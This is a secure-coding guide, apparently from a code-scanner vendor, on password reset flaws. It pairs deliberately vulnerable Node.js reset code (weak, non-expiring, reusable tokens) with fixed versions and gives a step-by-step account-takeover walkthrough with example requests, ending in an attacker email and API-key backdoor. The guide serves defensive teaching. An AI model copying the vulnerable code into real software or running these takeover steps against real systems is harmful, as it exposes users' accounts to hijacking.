Password Reset Flaws
Password Reset Flaws at a glance
Overview
Password reset flows let users regain access using an out-of-band channel such as email. Because they intentionally bypass password checks, they are a favorite target for attackers. Common problems include tokens with no expiry, tokens that leak via referer or logs, weak token entropy, state-changing GET endpoints, and flows that allow attackers to redirect resets to an address they control.
Where it occurs
Flaws occur in account recovery flows that use weak randomness, insecure reset links, unverified email changes, or externally loaded resources without proper validation.
Impact
Exploiting a reset flow typically yields full account takeover, persistent access, and the ability to generate new tokens or reset other protections. For high privilege accounts, consequences include data exfiltration, financial fraud, and lateral movement.
Prevention
Prevent this by issuing ≥128-bit single-use tokens hashed server-side with short expiry; blocking external resources and setting Referrer-Policy: no-referrer on token pages; requiring re-auth/MFA for contact changes; using opaque IDs, rate-limiting, and never logging tokens.
Examples
Switch tabs to view language/framework variants.
Reset tokens issued without expiry
Reset tokens that never expire remain valid forever, so any leaked token allows account takeover.
app.post('/forgot', async (req,res)=>{
const u = await Users.findOne({email:req.body.email});
const token = crypto.randomBytes(16).toString('hex');
u.resetToken = token; await u.save();
sendEmail(u.email, `https://app.example.com/reset?token=${token}`);
res.json({ok:true});
});- Line 4: Token saved with no expiry, remains valid
Forever-valid tokens let attackers use any leaked token to take over accounts long after issuance.
app.post('/forgot', async (req,res)=>{
const u = await Users.findOne({email:req.body.email});
const token = crypto.randomBytes(32).toString('hex');
u.resetToken = token;
u.resetExpires = Date.now() + 1000 * 60 * 60; // 1 hour
await u.save();
sendEmail(u.email, `https://app.example.com/reset?token=${token}`);
res.json({ok:true});
});
app.post('/reset', async (req,res)=>{
const u = await Users.findOne({resetToken:req.body.token, resetExpires: { $gt: Date.now() }});
if(!u) return res.status(400).send('invalid');
u.password = hash(req.body.password); u.resetToken = null; await u.save();
res.json({ok:true});
});- Line 5: Set resetExpires and check it when consuming token
Short-lived, cryptographically strong tokens limit the window of exposure and support rotation.
Engineer Checklist
-
Generate cryptographically strong tokens, store only hashed tokens server-side, and set short expiry
-
Make reset tokens single-use and nullify on consumption, and rotate if suspicion arises
-
Avoid third-party resources on token-bearing pages and set Referrer-Policy: no-referrer
-
Require re-authentication or MFA for changing email/notification settings that affect recovery
-
Use opaque identifiers, consistent failure responses, and rate limit/monitor reset endpoints
End-to-End Example
An application's password reset page loads third-party analytics scripts, leaking reset tokens via the Referer header. Tokens also have no expiration, allowing long-term reuse after capture.
// Node.js/Express - Vulnerable password reset flow
const crypto = require('crypto');
app.post('/api/forgot-password', async (req, res) => {
const user = await User.findOne({ email: req.body.email });
if (!user) return res.status(404).json({ error: 'User not found' });
// Generate weak 8-character token
const resetToken = crypto.randomBytes(4).toString('hex');
// Store plaintext token with NO EXPIRATION
user.resetToken = resetToken;
await user.save();
// Email link with token in URL
await sendEmail(user.email, `Reset: https://app.example.com/reset?token=${resetToken}`);
res.json({ message: 'Reset email sent' });
});
// Reset page template loads third-party resources
// <html><head><script src="https://analytics.example.com/track.js"></script>...
// This causes browser to send: Referer: https://app.example.com/reset?token=abc123xyz789
app.post('/api/reset-password', async (req, res) => {
const { token, new_password } = req.body;
// No expiration check, accepts any old token
const user = await User.findOne({ resetToken: token });
if (!user) return res.status(400).json({ error: 'Invalid token' });
// No single-use enforcement - token remains valid
user.password = hashPassword(new_password);
await user.save();
res.json({ message: 'Password reset successful' });
});// Node.js/Express - Secure password reset flow
const crypto = require('crypto');
app.post('/api/forgot-password', async (req, res) => {
const user = await User.findOne({ email: req.body.email });
if (!user) return res.status(404).json({ error: 'User not found' });
// Generate cryptographically strong 32-byte token
const resetToken = crypto.randomBytes(32).toString('base64url');
// Store HASHED token with 1-hour expiration
const hashedToken = crypto.createHash('sha256').update(resetToken).digest('hex');
user.resetTokenHash = hashedToken;
user.resetTokenExpires = new Date(Date.now() + 60 * 60 * 1000); // 1 hour
await user.save();
await sendEmail(user.email, `Reset: https://app.example.com/reset?token=${resetToken}`);
res.json({ message: 'Reset email sent' });
});
// Reset page template:
// <html><head><meta name="referrer" content="no-referrer">
// NO external scripts or resources on token-bearing pages!
app.post('/api/reset-password', async (req, res) => {
const { token, new_password } = req.body;
// Hash incoming token to compare
const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
// Find user with matching hash AND valid expiration
const user = await User.findOne({
resetTokenHash: hashedToken,
resetTokenExpires: { $gt: new Date() }
});
if (!user) return res.status(400).json({ error: 'Invalid or expired token' });
// Update password and INVALIDATE token (single-use)
user.password = await hashPassword(new_password);
user.resetTokenHash = null;
user.resetTokenExpires = null;
await user.save();
res.json({ message: 'Password reset successful' });
});Discovery
Test if password reset pages load external resources that could leak tokens via Referer headers, and verify whether tokens expire or can be reused.
-
1. Check reset page for external resources
httpAction
Load password reset page and inspect for third-party scripts/resources
Request
GET https://app.example.com/reset?token=test_token_abc123xyz789Response
Status: 200Body:{ "html": "<!DOCTYPE html><html><head><script src=\"https://analytics.example.com/track.js\"></script><link rel=\"stylesheet\" href=\"https://cdn.example.com/styles.css\"><meta name=\"referrer\" content=\"unsafe-url\">...</head><body>...", "note": "Page loads external analytics script - will leak token in Referer header. No Referrer-Policy set!" }Artifacts
external_script_analytics external_css_cdn no_referrer_policy token_in_url -
2. Test token expiration
httpAction
Attempt to use 7-day-old reset token to check expiration enforcement
Request
POST https://app.example.com/api/reset-passwordHeaders:Content-Type: application/jsonBody:{ "token": "7day_old_token_xyz789", "new_password": "TestPassword123!" }Response
Status: 200Body:{ "message": "Password reset successful", "user_id": "user_456", "note": "7-day-old token still valid - NO EXPIRATION enforced!" }Artifacts
no_token_expiration old_token_accepted indefinite_validity
Exploit steps
Attacker compromises analytics provider or accesses their logs to capture reset tokens leaked via Referer headers, then uses the never-expiring tokens to take over victim accounts.
-
1. Capture token from analytics logs
Access third-party analytics logs
analysisAction
Extract reset tokens from Referer headers logged by analytics service
Request
GET https://analytics.example.com/api/logs?domain=app.example.com&filter=resetResponse
Status: 200Body:{ "log_entries": [ { "timestamp": "2024-01-15T10:23:45Z", "page": "/track.js", "referer": "https://app.example.com/reset?token=f8e2c4a1b9d3", "ip": "203.0.113.45", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..." }, { "timestamp": "2024-01-16T14:12:33Z", "page": "/track.js", "referer": "https://app.example.com/reset?token=7a3f9e2b5c1d", "ip": "198.51.100.78" }, { "timestamp": "2024-01-18T09:45:21Z", "page": "/track.js", "referer": "https://app.example.com/reset?token=c5d8a2f3e7b1", "ip": "192.0.2.156" } ], "note": "Hundreds of reset tokens captured from Referer headers in analytics logs" }Artifacts
tokens_captured_bulk referer_log_access third_party_data_breach -
2. Execute account takeover with leaked token
Reset password using captured token
httpAction
Use 2-week-old leaked token to reset victim password
Request
POST https://app.example.com/api/reset-passwordHeaders:Content-Type: application/jsonBody:{ "token": "f8e2c4a1b9d3", "new_password": "AttackerControlled123!" }Response
Status: 200Body:{ "message": "Password successfully reset", "user_id": "user_victim_123", "email": "john.doe@company.com", "note": "Token from 2 weeks ago still valid - full account takeover achieved" }Artifacts
password_reset_successful account_takeover old_token_still_valid -
3. Persist access and escalate
Create persistent backdoor access
httpAction
Change email and add API keys for persistent access
Request
POST https://app.example.com/api/account/settingsHeaders:Authorization: Bearer <session_token_from_login>Content-Type: application/jsonBody:{ "email": "attacker@evil.com", "backup_email": "attacker-backup@evil.com", "generate_api_key": true }Response
Status: 200Body:{ "email": "attacker@evil.com", "api_key": "sk_live_9f8e7d6c5b4a3f2e1d0c9b8a7f6e5d4c", "note": "Email changed, API key generated - attacker has persistent access" }Artifacts
email_changed api_key_generated persistent_backdoor
Specific Impact
An attacker who captures leaked tokens from analytics logs can take over victim accounts weeks or months later due to no token expiration. This enables bulk account compromise, data exfiltration, and persistent access through email/API key changes.
Fix
Use high-entropy tokens (>=128 bits), store only hashed tokens server-side, set short expiry (1 hour), enforce single-use by clearing token on consumption. Set Referrer-Policy: no-referrer on all token-bearing pages and avoid loading ANY external resources (scripts, CSS, images) on password reset pages.
Detect This Vulnerability in Your Code
Sourcery automatically identifies password reset flaws vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free